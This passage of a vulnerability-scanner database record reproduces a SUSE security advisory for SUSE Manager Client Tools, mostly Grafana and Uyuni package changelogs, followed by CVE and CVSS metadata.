protocol. #24497, @aknuds1\n\n - Explore/Prometheus: Show results of instant queries only\n in table. #24508, @ivanahuckova\n\n - Explore: Fix rendering of react query editors. #24593,\n @ivanahuckova\n\n - Explore: Fixes loading more logs in logs context view.\n #24135, @Estrax\n\n - Graphite: Fix schema and dedupe strategy in rollup\n indicators for Metrictank queries. #24685, @torkelo\n\n - Graphite: Makes query annotations work again. #24556,\n @hugohaggmark\n\n - Logs: Clicking 'Load more' from context overlay doesn't\n expand log row. #24299, @kaydelaney\n\n - Logs: Fix total bytes process calculation. #24691,\n @davkal\n\n - Org/user/team preferences: Fixes so UI Theme can be set\n back to Default. #24628, @AgnesToulet\n\n - Plugins: Fix manifest validation. #24573, @aknuds1\n\n - Provisioning: Use proxy as default access mode in\n provisioning. #24669, @bergquist\n\n - Search: Fix select item when pressing enter and Grafana\n is served using a sub path. #24634, @tskarhed\n\n - Search: Save folder expanded state. #24496, @Clarity-89\n\n - Security: Tag value sanitization fix in OpenTSDB data\n source. #24539, @rotemreiss\n\n - Table: Do not include angular options in options when\n switching from angular panel. #24684, @torkelo\n\n - Table: Fixed persisting column resize for time series\n fields. #24505, @torkelo\n\n - Table: Fixes Cannot read property subRows of null.\n #24578, @hugohaggmark\n\n - Time picker: Fixed so you can enter a relative range in\n the time picker without being converted to absolute\n range. #24534, @mckn\n\n - Transformations: Make transform dropdowns not cropped.\n #24615, @dprokop\n\n - Transformations: Sort order should be preserved as\n entered by user when using the reduce transformation.\n #24494, @hugohaggmark\n\n - Units: Adds scale symbol for currencies with suffixed\n symbol. #24678, @hugohaggmark\n\n - Variables: Fixes filtering options with more than 1000\n entries. #24614, @hugohaggmark\n\n - Variables: Fixes so Textbox variables read value from\n url. #24623, @hugohaggmark\n\n - Zipkin: Fix error when span contains remoteEndpoint.\n #24524, @aocenas\n\n - SAML: Switch from email to login for user login\n attribute mapping (Enterprise)\n\nUpdate Makefile and spec file\n\n - Remove phantomJS patch from Makefile\n\n - Fix multiline strings in Makefile\n\n - Exclude s390 from SLE12 builds, golang 1.14 is not built\n for s390\n\nAdd instructions for patching the Grafana JavaScript frontend.\n\nBuildRequires golang(API) instead of go metapackage version range\n\n - BuildRequires: golang(API) >= 1.14 from BuildRequires: (\n go >= 1.14 with go < 1.15 )\n\nUpdate to version 6.7.3\n\n - This version fixes bsc#1170557 and its corresponding\n CVE-2020-12245\n\n - Admin: Fix Synced via LDAP message for non-LDAP external\n users. #23477, @alexanderzobnin\n\n - Alerting: Fixes notifications for alerts with empty\n message in Google Hangouts notifier. #23559,\n @hugohaggmark\n\n - AuthProxy: Fixes bug where long username could not be\n cached.. #22926, @jcmcken\n\n - Dashboard: Fix saving dashboard when editing raw\n dashboard JSON model. #23314, @peterholmberg\n\n - Dashboard: Try to parse 8 and 15 digit numbers as\n timestamps if parsing of time range as date fails.\n #21694, @jessetan\n\n - DashboardListPanel: Fixed problem with empty panel after\n going into edit mode (General folder filter being\n automatically added) . #23426, @torkelo\n\n - Data source: Handle datasource withCredentials option\n properly. #23380, @hvtuananh\n\n - Security: Fix annotation popup XSS vulnerability.\n #23813, @torkelo\n\n - Server: Exit Grafana with status code 0 if no error.\n #23312, @aknuds1\n\n - TablePanel: Fix XSS issue in header column rename\n (backport). #23814, @torkelo\n\n - Variables: Fixes error when setting adhoc variable\n values. #23580, @hugohaggmark\n\nUpdate to version 6.7.2: (see installed changelog for the full list of\nchanges)\n\n - BackendSrv: Adds config to response to fix issue for\n external plugins that used this property . #23032,\n @torkelo\n\n - Dashboard: Fixed issue with saving new dashboard after\n changing title . #23104, @dprokop\n\n - DataLinks: make sure we use the correct datapoint when\n dataset contains null value.. #22981, @mckn\n\n - Plugins: Fixed issue for plugins that imported dateMath\n util . #23069, @mckn\n\n - Security: Fix for dashboard snapshot original dashboard\n link could contain XSS vulnerability in url. #23254,\n @torkelo\n\n - Variables: Fixes issue with too many queries being\n issued for nested template variables after value change.\n #23220, @torkelo\n\n - Plugins: Expose promiseToDigest. #23249, @torkelo\n\n - Reporting (Enterprise): Fixes issue updating a report\n created by someone else\n\nUpdate to 6.7.1: (see installed changelog for the full list of\nchanges) Bug Fixes\n\n - Azure: Fixed dropdowns not showing current value.\n #22914, @torkelo\n\n - BackendSrv: only add content-type on POST, PUT requests.\n #22910, @hugohaggmark\n\n - Panels: Fixed size issue with panel internal size when\n exiting panel edit mode. #22912, @torkelo\n\n - Reporting: fixes migrations compatibility with mysql\n (Enterprise)\n\n - Reporting: Reduce default concurrency limit to 4\n (Enterprise)\n\nUpdate to 6.7.0: (see installed changelog for the full list of\nchanges) Bug Fixes\n\n - AngularPanels: Fixed inner height calculation for\n angular panels . #22796, @torkelo\n\n - BackendSrv: makes sure provided headers are correctly\n recognized and set. #22778, @hugohaggmark\n\n - Forms: Fix input suffix position (caret-down in Select)\n . #22780, @torkelo\n\n - Graphite: Fixed issue with query editor and next select\n metric now showing after selecting metric node . #22856,\n @torkelo\n\n - Rich History: UX adjustments and fixes. #22729,\n @ivanahuckova\n\nUpdate to 6.7.0-beta1: Breaking changes\n\n - Slack: Removed Mention setting and instead introduce\n Mention Users, Mention Groups, and Mention Channel. The\n first two settings require user and group IDs,\n respectively. This change was necessary because the way\n of mentioning via the Slack API changed and mentions in\n Slack notifications no longer worked.\n\n - Alerting: Reverts the behavior of diff and percent_diff\n to not always be absolute. Something we introduced by\n mistake in 6.1.0. Alerting now support diff(),\n diff_abs(), percent_diff() and percent_diff_abs().\n #21338\n\n - Notice about changes in backendSrv for plugin authors In\n our mission to migrate away from AngularJS to React we\n have removed all AngularJS dependencies in the core data\n retrieval service backendSrv. Removing the AngularJS\n dependencies in backendSrv has the unfortunate side\n effect of AngularJS digest no longer being triggered for\n any request made with backendSrv. Because of this,\n external plugins using backendSrv directly may suffer\n from strange behaviour in the UI. To remedy this issue,\n as a plugin author you need to trigger the digest after\n a direct call to backendSrv. Bug Fixes API: Fix redirect\n issues. #22285, @papagian Alerting: Don't include\n image_url field with Slack message if empty. #22372,\n @aknuds1 Alerting: Fixed bad background color for\n default notifications in alert tab . #22660, @krvajal\n Annotations: In table panel when setting transform to\n annotation, they will now show up right away without a\n manual refresh. #22323, @krvajal Azure Monitor: Fix app\n insights source to allow for new __timeFrom and\n __timeTo. #21879, @ChadNedzlek BackendSrv: Fixes POST\n body for form data. gmark CloudWatch: Credentials cache\n invalidation fix. #22473, @sunker CloudWatch: Expand\n alias variables when query yields no result. #22695,\n @sunker Dashboard: Fix bug with NaN in alerting. #22053,\n @a-melnyk Explore: Fix display of multiline logs in log\n panel and explore. #22057, @thomasdraebing Heatmap:\n Legend color range is incorrect when using custom\n min/max. #21748, @sv5d Security: Fixed XSS issue in\n dashboard history diff . #22680, @torkelo StatPanel:\n Fixes base color is being used for null values . #22646,\n @torkelo\n\nUpdate to version 6.6.2: (see installed changelog for the full list of\nchanges)\n\nUpdate to version 6.6.1: (see installed changelog for the full list of\nchanges)\n\nUpdate to version 6.6.0: (see installed changelog for the full list of\nchanges)\n\nUpdate to version 6.5.3: (see installed changelog for the full list of\nchanges)\n\nUpdate to version 6.5.2: (see installed changelog for the full list of\nchanges)\n\nUpdate to version 6.5.1: (see installed changelog for the full list of\nchanges)\n\nUpdate to version 6.5.0 (see installed changelog for the full list of\nchanges)\n\nUpdate to version 6.4.5 :\n\n - Create version 6.4.5\n\n - CloudWatch: Fix high CPU load (#20579)\n\nAdd obs-service-go_modules to download required modules into\nvendor.tar.gz\n\nAdjusted spec file to use vendor.tar.gz\n\nAdjusted Makefile to work with new filenames\n\nBuildRequire go1.14\n\nUpdate to version 6.4.4 :\n\n - DataLinks: Fix blur issues. #19883, @aocenas\n\n - Docker: Makes it possible to parse timezones in the\n docker image. #20081, @xlson\n\n - LDAP: All LDAP servers should be tried even if one of\n them returns a connection error. #20077, @jongyllen\n\n - LDAP: No longer shows incorrectly matching groups based\n on role in debug page. #20018, @xlson\n\n - Singlestat: Fix no data / null value mapping . #19951,\n @ryantxu\n\nRevert the spec file and make script\n\nRemove PhantomJS dependency\n\nUpdate to 6.4.3\n\n - Bug Fixes\n\n - Alerting: All notification channels should send even if\n one fails to send. #19807, @jan25\n\n - AzureMonitor: Fix slate interference with dropdowns.\n #19799, @aocenas\n\n - ContextMenu: make ContextMenu positioning aware of the\n viewport width. #19699, @krvajal\n\n - DataLinks: Fix context menu not showing in\n singlestat-ish visualisations. #19809, @dprokop\n\n - DataLinks: Fix url field not releasing focus. #19804,\n @aocenas\n\n - Datasource: Fixes clicking outside of some query editors\n required 2 clicks. #19822, @aocenas\n\n - Panels: Fixes default tab for visualizations without\n Queries Tab. #19803, @hugohaggmark\n\n - Singlestat: Fixed issue with mapping null to text.\n #19689, @torkelo\n\n - @grafana/toolkit: Don't fail plugin creation when git\n user.name config is not set. #19821, @dprokop\n\n - @grafana/toolkit: TSLint line number off by 1. #19782,\n @fredwangwang\n\nUpdate to 6.4.2\n\n - Bug Fixes\n\n - CloudWatch: Changes incorrect dimension wmlid to wlmid .\n #19679, @ATTron\n\n - Grafana Image Renderer: Fixes plugin page. #19664,\n @hugohaggmark\n\n - Graph: Fixes auto decimals logic for y axis ticks that\n results in too many decimals for high values. #19618,\n @torkelo\n\n - Graph: Switching to series mode should re-render graph.\n #19623, @torkelo\n\n - Loki: Fix autocomplete on label values. #19579, @aocenas\n\n - Loki: Removes live option for logs panel. #19533,\n @davkal\n\n - Profile: Fix issue with user profile not showing more\n than sessions sessions in some cases. #19578,\n @huynhsamha\n\n - Prometheus: Fixes so results in Panel always are sorted\n by query order. #19597, @hugohaggmark\n\n - sted keys in YAML provisioning caused a server crash,\n #19547\n\n - ImageRendering: Fixed issue with image rendering in\n enterprise build (Enterprise)\n\n - Reporting: Fixed issue with reporting service when STMP\n was disabled (Enterprise).\n\nChanges from 6.4.0\n\n - Features / Enhancements\n\n - Build: Upgrade go to 1.12.10. #19499, @marefr\n\n - DataLinks: Suggestions menu improvements. #19396,\n @dprokop\n\n - Explore: Take root_url setting into account when\n redirecting from dashboard to explore. #19447,\n @ivanahuckova\n\n - Explore: Update broken link to logql docs. #19510,\n @ivanahuckova\n\n - Logs: Adds Logs Panel as a visualization. #19504,\n @davkal\n\n - Bug Fixes\n\n - CLI: Fix version selection for plugin install. #19498,\n @aocenas\n\n - Graph: Fixes minor issue with series override color\n picker and custom color . #19516, @torkelo\n\nChanges from 6.4.0 Beta 2\n\n - Features / Enhancements\n\n - Azure Monitor: Remove support for cross resource queries\n (#19115)'. #19346, @sunker\n\n - Docker: Upgrade packages to resolve reported\n vulnerabilities. #19188, @marefr\n\n - Graphite: Time range expansion reduced from 1 minute to\n 1 second. #19246, @torkelo\n\n - grafana/toolkit: Add plugin creation task. #19207,\n @dprokop\n\n - Bug Fixes\n\n - Alerting: Prevents creating alerts from unsupported\n queries. #19250, @hugohaggmark\n\n - Alerting: Truncate PagerDuty summary when greater than\n 1024 characters. #18730, @nvllsvm\n\n - Cloudwatch: Fix autocomplete for Gamelift dimensions.\n #19146, @kevinpz\n\n - Dashboard: Fix export for sharing when panels use\n default data source. #19315, @torkelo\n\n - Database: Rewrite system statistics query to perform\n better. #19178, @papagian\n\n - Gauge/BarGauge: Fix issue with [object Object] in titles\n . #19217, @ryantxu\n\n - MSSQL: Revert usage of new connectionstring format\n introduced by #18384. #19203, @marefr\n\n - Multi-LDAP: Do not fail-fast on invalid credentials.\n #19261, @gotjosh\n\n - MySQL, Postgres, MSSQL: Fix validating query with\n template variables in alert . #19237, @marefr\n\n - MySQL, Postgres: Update raw sql when query builder\n updates. #19209, @marefr\n\n - MySQL: Limit datasource error details returned from the\n backend. #19373, @marefr\n\nChanges from 6.4.0 Beta 1\n\n - Features / Enhancements\n\n - API: Readonly datasources should not be created via the\n API. #19006, @papagian\n\n - Alerting: Include configured AlertRuleTags in Webhooks\n notifier. #18233, @dominic-miglar\n\n - Annotations: Add annotations support to Loki. #18949,\n @aocenas\n\n - Annotations: Use a single row to represent a region.\n #17673, @ryantxu\n\n - Auth: Allow inviting existing users when login form is\n disabled. #19048, @548017\n\n - Azure Monitor: Add support for cross resource queries.\n #19115, @sunker\n\n - CLI: Allow installing custom binary plugins. #17551,\n @aocenas\n\n - Dashboard: Adds Logs Panel (alpha) as visualization\n option for Dashboards. #18641, @hugohaggmark\n\n - Dashboard: Reuse query results between panels . #16660,\n @ryantxu\n\n - Dashboard: Set time to to 23:59:59 when setting To time\n using calendar. #18595, @simPod\n\n - DataLinks: Add DataLinks support to Gauge, BarGauge and\n SingleStat2 panel. #18605, @ryantxu\n\n - DataLinks: Enable access to labels & field names.\n #18918, @torkelo\n\n - DataLinks: Enable multiple data links per panel. #18434,\n @dprokop\n\n - Docker: switch docker image to alpine base with\n phantomjs support. #18468, @DanCech\n\n - Elasticsearch: allow templating queries to order by\n doc_count. #18870, @hackery\n\n - Explore: Add throttling when doing live queries. #19085,\n @aocenas\n\n - Explore: Adds ability to go back to dashboard,\n optionally with query changes. #17982, @kaydelaney\n\n - Explore: Reduce default time range to last hour. #18212,\n @davkal\n\n - Gauge/BarGauge: Support decimals for min/max. #18368,\n @ryantxu\n\n - Graph: New series override transform constant that\n renders a single point as a line across the whole graph.\n #19102, @davkal\n\n - Image rendering: Add deprecation warning when PhantomJS\n is used for rendering images. #18933, @papagian\n\n - InfluxDB: Enable interpolation within ad-hoc filter\n values. #18077, @kvc-code\n\n - LDAP: Allow an user to be synchronized against LDAP.\n #18976, @gotjosh\n\n - Ldap: Add ldap debug page. #18759, @peterholmberg\n\n - Loki: Remove prefetching of default label values.\n #18213, @davkal\n\n - Metrics: Add failed alert notifications metric. #18089,\n @koorgoo\n\n - OAuth: Support JMES path lookup when retrieving user\n email. #14683, @bobmshannon\n\n - OAuth: return GitLab groups as a part of user info\n (enable team sync). #18388, @alexanderzobnin\n\n - Panels: Add unit for electrical charge - ampere-hour.\n #18950, @anirudh-ramesh\n\n - Plugin: AzureMonitor - Reapply MetricNamespace support.\n #17282, @raphaelquati\n\n - Plugins: better warning when plugins fail to load.\n #18671, @ryantxu\n\n - Postgres: Add support for scram sha 256 authentication.\n #18397, @nonamef\n\n - RemoteCache: Support SSL with Redis. #18511, @kylebrandt\n\n - SingleStat: The gauge option in now disabled/hidden\n (unless it's an old panel with it already enabled) .\n #18610, @ryantxu\n\n - Stackdriver: Add extra alignment period options. #18909,\n @sunker\n\n - Units: Add South African Rand (ZAR) to currencies.\n #18893, @jeteon\n\n - Units: Adding T,P,E,Z,and Y bytes. #18706, @chiqomar\n\n - Bug Fixes\n\n - Alerting: Notification is sent when state changes from\n no_data to ok. #18920, @papagian\n\n - Alerting: fix duplicate alert states when the alert\n fails to save to the database. #18216, @kylebrandt\n\n - Alerting: fix response popover prompt when add\n notification channels. #18967, @lzdw\n\n - CloudWatch: Fix alerting for queries with Id (using\n GetMetricData). #17899, @alex-berger\n\n - Explore: Fix auto completion on label values for Loki.\n #18988, @aocenas\n\n - Explore: Fixes crash using back button with a zoomed in\n graph. #19122, @hugohaggmark\n\n - Explore: Fixes so queries in Explore are only run if\n Graph/Table is shown. #19000, @hugohaggmark\n\n - MSSQL: Change connectionstring to URL format to fix\n using passwords with semicolon. #18384, @Russiancold\n\n - MSSQL: Fix memory leak when debug enabled. #19049,\n @briangann\n\n - Provisioning: Allow escaping literal '$' with '$$' in\n configs to avoid interpolation. #18045, @kylebrandt\n\n - TimePicker: Fixes hiding time picker dropdown in\n FireFox. #19154, @hugohaggmark\n\n - Breaking changes\n\n + Annotations There are some breaking changes in the\n annotations HTTP API for region annotations. Region\n annotations are now represented using a single event\n instead of two separate events. Check breaking changes\n in HTTP API below and HTTP API documentation for more\n details.\n\n + Docker Grafana is now using Alpine 3.10 as docker base\n image.\n\n + HTTP API\n\n - GET /api/alert-notifications now requires at least\n editor access.\n\nNew /api/alert-notifications/lookup returns less information than\n\n/api/alert-notifications and can be access by any authenticated user.\n\n - GET /api/alert-notifiers now requires at least editor\n access\n\n - GET /api/org/users now requires org admin role. New\n\n/api/org/users/lookup returns less information than /api/org/users and\ncan\n\nbe access by users that are org admins, admin in any folder or admin\nof\n\nany team.\n\n - GET /api/annotations no longer returns regionId\n property.\n\n - POST /api/annotations no longer supports isRegion\n property.\n\n - PUT /api/annotations/:id no longer supports isRegion\n property.\n\n - PATCH /api/annotations/:id no longer supports isRegion\n property.\n\n - DELETE /api/annotations/region/:id has been removed.\n\n - Deprecation notes\n\n + PhantomJS\n\n - PhantomJS, which is used for rendering images of\n dashboards and\n\npanels, is deprecated and will be removed in a future Grafana release.\nA\n\ndeprecation warning will from now on be logged when Grafana starts up\nif\n\nPhantomJS is in use. Please consider migrating from PhantomJS to the\n\nGrafana Image Renderer plugin.\n\nChanges from 6.3.6\n\n - Features / Enhancements\n\n - Metrics: Adds setting for turning off total stats\n metrics. #19142, @marefr\n\n - Bug Fixes\n\n - Database: Rewrite system statistics query to perform\n better. #19178, @papagian\n\n - Explore: Fixes error when switching from prometheus to\n loki data sources. #18599, @kaydelaney\n\nRebase package spec. Use mostly from fedora, fix suse specified things\nand fix some errors.\n\nAdd missing directories provisioning/datasources and\nprovisioning/notifiers and sample.yaml as described in\npackaging/rpm/control from upstream. Missing directories are shown in\nlogfiles.\n\nVersion 6.3.5\n\n - Upgrades\n\n + Build: Upgrade to go 1.12.9.\n\n - Bug Fixes\n\n + Dashboard: Fixes dashboards init failed loading error\n for dashboards with panel links that had missing\n properties.\n\n + Editor: Fixes issue where only entire lines were being\n copied.\n\n + Explore: Fixes query field layout in splitted view for\n Safari browsers.\n\n + LDAP: multildap + ldap integration.\n\n + Profile/UserAdmin: Fix for user agent parser crashes\n grafana-server on 32-bit builds.\n\n + Prometheus: Prevents panel editor crash when switching\n to Prometheus datasource.\n\n + Prometheus: Changes brace-insertion behavior to be less\n annoying.\n\nVersion 6.3.4\n\n - Security: CVE-2019-15043 - Parts of the HTTP API allow\n unauthenticated use.\n\nVersion 6.3.3\n\n - Bug Fixes\n\n + Annotations: Fix failing annotation query when time\n series query is cancelled. #18532 1, @dprokop 1\n\n + Auth: Do not set SameSite cookie attribute if\n cookie_samesite is none. #18462 1, @papagian 3\n\n + DataLinks: Apply scoped variables to data links\n correctly. #18454 1, @dprokop 1\n\n + DataLinks: Respect timezone when displaying\n datapoint’s timestamp in graph context\n menu. #18461 2, @dprokop 1\n\n + DataLinks: Use datapoint timestamp correctly when\n interpolating variables. #18459 1, @dprokop 1\n\n + Explore: Fix loading error for empty queries. #18488 1,\n @davkal\n\n + Graph: Fixes legend issue clicking on series line icon\n and issue with horizontal scrollbar being visible on\n windows. #18563 1, @torkelo 2\n\n + Graphite: Avoid glob of single-value array variables .\n #18420, @gotjosh\n\n + Prometheus: Fix queries with label_replace remove the $1\n match when loading query editor. #18480 5, @hugohaggmark\n 3\n\n + Prometheus: More consistently allows for multi-line\n queries in editor. #18362 2, @kaydelaney 2\n\n + TimeSeries: Assume values are all numbers. #18540 4,\n @ryantxu\n\nVersion 6.3.2\n\n - Bug Fixes\n\n + Gauge/BarGauge: Fixes issue with losts thresholds and\n issue loading Gauge with avg stat. #18375 12\n\nVersion 6.3.1\n\n - Bug Fixes\n\n + PanelLinks: Fix crash issue Gauge & Bar Gauge for panels\n with panel links (drill down links). #18430 2\n\nVersion 6.3.0\n\n - Features / Enhancements\n\n + OAuth: Do not set SameSite OAuth cookie if\n cookie_samesite is None. #18392 4, @papagian 3\n\n + Auth Proxy: Include additional headers as part of the\n cache key. #18298 6, @gotjosh\n\n + Build grafana images consistently. #18224 12,\n @hassanfarid\n\n + Docs: SAML. #18069 11, @gotjosh\n\n + Permissions: Show plugins in nav for non admin users but\n hide plugin configuration. #18234 1, @aocenas\n\n + TimePicker: Increase max height of quick range dropdown.\n #18247 2, @torkelo 2\n\n + Alerting: Add tags to alert rules. #10989 13, @Thib17 1\n\n + Alerting: Attempt to send email notifications to all\n given email addresses. #16881 1, @zhulongcheng\n\n + Alerting: Improve alert rule testing. #16286 2, @marefr\n\n + Alerting: Support for configuring content field for\n Discord alert notifier. #17017 2, @jan25\n\n + Alertmanager: Replace illegal chars with underscore in\n label names. #17002 5, @bergquist 1\n\n + Auth: Allow expiration of API keys. #17678, @papagian 3\n\n + Auth: Return device, os and browser when listing user\n auth tokens in HTTP API. #17504, @shavonn 1\n\n + Auth: Support list and revoke of user auth tokens in UI.\n #17434 2, @shavonn 1\n\n + AzureMonitor: change clashing built-in Grafana\n variables/macro names for Azure Logs. #17140, @shavonn 1\n\n + CloudWatch: Made region visible for AWS Cloudwatch\n Expressions. #17243 2, @utkarshcmu\n\n + Cloudwatch: Add AWS DocDB metrics. #17241, @utkarshcmu\n\n + Dashboard: Use timezone dashboard setting when exporting\n to CSV. #18002 1, @dehrax\n\n + Data links. #17267 11, @torkelo 2\n\n + Docker: Switch base image to ubuntu:latest from\n debian:stretch to avoid security\n issues… #17066 5, @bergquist 1\n\n + Elasticsearch: Support for visualizing logs in Explore .\n #17605 7, @marefr\n\n + Explore: Adds Live option for supported datasources.\n #17062 1, @hugohaggmark 3\n\n + Explore: Adds orgId to URL for sharing purposes. #17895\n 1, @kaydelaney 2\n\n + Explore: Adds support for new loki\n ‘start’ and\n ‘end’ params for\n labels endpoint. #17512, @kaydelaney 2\n\n + Explore: Adds support for toggling raw query mode in\n explore. #17870, @kaydelaney 2\n\n + Explore: Allow switching between metrics and logs .\n #16959 2, @marefr\n\n + Explore: Combines the timestamp and local time columns\n into one. #17775, @hugohaggmark 3\n\n + Explore: Display log lines context . #17097, @dprokop 1\n\n + Explore: Don’t parse log levels if\n provided by field or label. #17180 1, @marefr\n\n + Explore: Improves performance of Logs element by\n limiting re-rendering. #17685, @kaydelaney 2\n\n + Explore: Support for new LogQL filtering syntax. #16674\n 4, @davkal\n\n + Explore: Use new TimePicker from Grafana/UI. #17793,\n @hugohaggmark 3\n\n + Explore: handle newlines in LogRow Highlighter. #17425,\n @rrfeng 1\n\n + Graph: Added new fill gradient option. #17528 3,\n @torkelo 2\n\n + GraphPanel: Don’t sort series when\n legend table & sort column is not visible . #17095,\n @shavonn 1\n\n + InfluxDB: Support for visualizing logs in Explore.\n #17450 9, @hugohaggmark 3\n\n + Logging: Login and Logout actions (#17760). #17883 1,\n @ATTron\n\n + Logging: Move log package to pkg/infra. #17023,\n @zhulongcheng\n\n + Metrics: Expose stats about roles as metrics. #17469 2,\n @bergquist 1\n\n + MySQL/Postgres/MSSQL: Add parsing for day, weeks and\n year intervals in macros. #13086 6, @bernardd\n\n + MySQL: Add support for periodically reloading client\n certs. #14892, @tpetr\n\n + Plugins: replace dataFormats list with skipDataQuery\n flag in plugin.json. #16984, @ryantxu\n\n + Prometheus: Take timezone into account for step\n alignment. #17477, @fxmiii\n\n + Prometheus: Use overridden panel range for $__range\n instead of dashboard range. #17352, @patrick246\n\n + Prometheus: added time range filter to series labels\n query. #16851 3, @FUSAKLA\n\n + Provisioning: Support folder that\n doesn’t exist yet in dashboard\n provisioning. #17407 1, @Nexucis\n\n + Refresh picker: Handle empty intervals. #17585 1,\n @dehrax\n\n + Singlestat: Add y min/max config to singlestat\n sparklines. #17527 4, @pitr\n\n + Snapshot: use given key and deleteKey. #16876,\n @zhulongcheng\n\n + Templating: Correctly display __text in multi-value\n variable after page reload. #17840 1, @EduardSergeev\n\n + Templating: Support selecting all filtered values of a\n multi-value variable. #16873 2, @r66ad\n\n + Tracing: allow propagation with Zipkin headers. #17009\n 4, @jrockway\n\n + Users: Disable users removed from LDAP. #16820 2,\n @alexanderzobnin\n\n - Bug Fixes\n\n + PanelLinks: Fix render issue when there is no panel\n description. #18408 3, @dehrax\n\n + OAuth: Fix “missing saved\n state” OAuth login failure due to\n SameSite cookie policy. #18332 1, @papagian 3\n\n + cli: fix for recognizing when in dev\n mode… #18334, @xlson\n\n + DataLinks: Fixes incorrect interpolation of\n ${__series_name} . #18251 1, @torkelo 2\n\n + Loki: Display live tailed logs in correct order in\n Explore. #18031 3, @kaydelaney 2\n\n + PhantomJS: Fixes rendering on Debian Buster. #18162 2,\n @xlson\n\n + TimePicker: Fixed style issue for custom range popover.\n #18244, @torkelo 2\n\n + Timerange: Fixes a bug where custom time ranges\n didn’t respect UTC. #18248 1,\n @kaydelaney 2\n\n + remote_cache: Fix redis connstr parsing. #18204 1,\n @mblaschke\n\n + AddPanel: Fix issue when removing moved add panel widget\n . #17659 2, @dehrax\n\n + CLI: Fix encrypt-datasource-passwords fails with sql\n error. #18014, @marefr\n\n + Elasticsearch: Fix default max concurrent shard\n requests. #17770 4, @marefr\n\n + Explore: Fix browsing back to dashboard panel. #17061,\n @jschill\n\n + Explore: Fix filter by series level in logs graph.\n #17798, @marefr\n\n + Explore: Fix issues when loading and both graph/table\n are collapsed. #17113, @marefr\n\n + Explore: Fix selection/copy of log lines. #17121,\n @marefr\n\n + Fix: Wrap value of multi variable in array when coming\n from URL. #16992 1, @aocenas\n\n + Frontend: Fix for Json tree component not working.\n #17608, @srid12\n\n + Graphite: Fix for issue with alias function being moved\n last. #17791, @torkelo 2\n\n + Graphite: Fixes issue with seriesByTag & function with\n variable param. #17795, @torkelo 2\n\n + Graphite: use POST for /metrics/find requests. #17814 2,\n @papagian 3\n\n + HTTP Server: Serve Grafana with a custom URL path\n prefix. #17048 6, @jan25\n\n + InfluxDB: Fixes single quotes are not escaped in label\n value filters. #17398 1, @Panzki\n\n + Prometheus: Correctly escape\n ‘|’ literals in\n interpolated PromQL variables. #16932, @Limess\n\n + Prometheus: Fix when adding label for metrics which\n contains colons in Explore. #16760, @tolwi\n\n + SinglestatPanel: Remove background color when value\n turns null. #17552 1, @druggieri\n\nMake phantomjs dependency configurable\n\nCreate plugin directory and clean up (create in %install, add to\n%files) handling of /var/lib/grafana/* and\n\nmgr-cfg :\n\nRemove commented code in test files\n\nReplace spacewalk-usix with uyuni-common-libs\n\nBump version to 4.1.0 (bsc#1154940)\n\nAdd mgr manpage links\n\nmgr-custom-info :\n\nBump version to 4.1.0 (bsc#1154940)\n\nmgr-daemon :\n\nBump version to 4.1.0 (bsc#1154940)\n\nFix systemd timer configuration on SLE12 (bsc#1142038)\n\nmgr-osad :\n\nSeparate osa-dispatcher and jabberd so it can be disabled\nindependently\n\nReplace spacewalk-usix with uyuni-common-libs\n\nBump version to 4.1.0 (bsc#1154940)\n\nMove /usr/share/rhn/config-defaults to uyuni-base-common\n\nRequire uyuni-base-common for /etc/rhn (for osa-dispatcher)\n\nEnsure bytes type when using hashlib to avoid traceback (bsc#1138822)\n\nmgr-push :\n\nReplace spacewalk-usix and spacewalk-backend-libs with\nuyuni-common-libs\n\nBump version to 4.1.0 (bsc#1154940)\n\nmgr-virtualization :\n\nReplace spacewalk-usix with uyuni-common-libs\n\nBump version to 4.1.0 (bsc#1154940)\n\nFix mgr-virtualization timer\n\nrhnlib :\n\nFix building\n\nFix malformed XML response when data contains non-ASCII chars\n(bsc#1154968)\n\nBump version to 4.1.0 (bsc#1154940)\n\nFix bootstrapping SLE11SP4 trad client with SSL enabled (bsc#1148177)\n\nspacecmd :\n\nOnly report real error, not result (bsc#1171687)\n\nUse defined return values for spacecmd methods so scripts can check\nfor failure (bsc#1171687)\n\nDisable globbing for api subcommand to allow wildcards in filter\nsettings (bsc#1163871)\n\nBugfix: attempt to purge SSM when it is empty (bsc#1155372)\n\nBump version to 4.1.0 (bsc#1154940)\n\nPrevent error when piping stdout in Python 2 (bsc#1153090)\n\nJava api expects content as encoded string instead of encoded bytes\nlike before (bsc#1153277)\n\nEnable building and installing for Ubuntu 16.04 and Ubuntu 18.04\n\nAdd unit test for schedule, errata, user, utils, misc, configchannel\nand kickstart modules\n\nMultiple minor bugfixes alongside the unit tests\n\nBugfix: referenced variable before assignment.\n\nAdd unit test for report, package, org, repo and group\n\nspacewalk-client-tools :\n\nAdd workaround for uptime overflow to spacewalk-update-status as well\n(bsc#1165921)\n\nSpell correctly 'successful' and 'successfully'\n\nSkip dmidecode data on aarch64 to prevent coredump (bsc#1113160)\n\nReplace spacewalk-usix with uyuni-common-libs\n\nReturn a non-zero exit status on errors in rhn_check\n\nBump version to 4.1.0 (bsc#1154940)\n\nMake a explicit requirement to systemd for spacewalk-client-tools when\nrhnsd timer is installed\n\nspacewalk-koan :\n\nBump version to 4.1.0 (bsc#1154940)\n\nRequire commands we use in merge-rd.sh\n\nspacewalk-oscap :\n\nBump version to 4.1.0 (bsc#1154940)\n\nspacewalk-remote-utils :\n\nUpdate spacewalk-create-channel with RHEL 7.7 channel definitions\n\nBump version to 4.1.0 (bsc#1154940)\n\nsupportutils-plugin-susemanager-client :\n\nBump version to 4.1.0 (bsc#1154940)\n\nsuseRegisterInfo :\n\nSuseRegisterInfo only needs perl-base, not full perl (bsc#1168310)\n\nBump version to 4.1.0 (bsc#1154940)\n\nzypp-plugin-spacewalk :\n\nPrevent issue with non-ASCII characters in Python 2 systems\n(bsc#1172462)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the SUSE security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 5, "cvss3": {"score": 8.2, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H"}, "published": "2020-07-21T00:00:00", "title": "SUSE SLES12 Security Update : SUSE Manager Client Tools (SUSE-SU-2020:1970-1)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-12245", "CVE-2019-15043", "CVE-2020-13379", "CVE-2019-10215"], "modified": "2020-07-21T00:00:00", "cpe": ["cpe:/o:novell:suse_linux:12", "p-cpe:/a:novell:suse_linux:golang-github-prometheus-node_exporter"], "id": "SUSE_SU-2020-1970-1.NASL", "href": "https://www.tenable.com/plugins/nessus/138793", "sourceData": "#\n# 